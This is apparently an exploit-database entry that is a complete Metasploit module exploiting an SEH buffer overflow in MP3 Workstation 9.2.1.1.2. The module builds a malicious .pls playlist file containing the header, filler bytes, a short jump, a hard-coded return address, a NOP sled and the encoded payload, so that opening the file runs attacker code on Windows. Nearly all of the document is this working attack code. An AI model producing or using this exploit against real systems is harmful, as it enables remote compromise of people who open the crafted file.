MP3 Workstation 9.2.1.1.2 – Local Overflow (SEH) (Metasploit)
# Exploit Climatisée fermee la Porte DeRrière Twaa xDeii # Title: MP3 Workstation Version 9.2.1.1.2 buffer overflow exploit (MSF) # Sanjeev Gupta san.gupta86[at]gmail.com (http://www.exploit-db.com/exploits/15013/) # Author: MadjiX # Sec4ever.com # WinXp Fr require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'MP3 Workstation Version 9.2.1.1.2 buffer overflow', 'License' => MSF_LICENSE, 'Author' => 'MadjiX', 'Version' => 'Version 1', 'References' => [ [ 'OSVDB', '' ], [ 'URL', 'http://www.exploit-db.com/exploits/15013/' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 4488, 'BadChars' => "\x00\x20\x0a\x0d", 'StackAdjustment' => -3500, 'DisableNops' => 'True', }, 'Platform' => 'win', 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x733DB159} ], ], 'Privileged' => false, 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'mad.pls']), ], self.class) end def exploit sploit = "MP3 Workstation" sploit << "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0D\x0A\x46\x69\x6C\x65\x31\x3D" #header -Sanjeev sploit << rand_text_alphanumeric(1940) sploit << "\xeb\x06\x90\x90" # short jump 6 bytes sploit << [target.ret].pack('V') sploit << "\x90" * 12 # nop sled sploit << payload.encoded sploit << "\x90" * 2805 mad = sploit print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(mad) end end |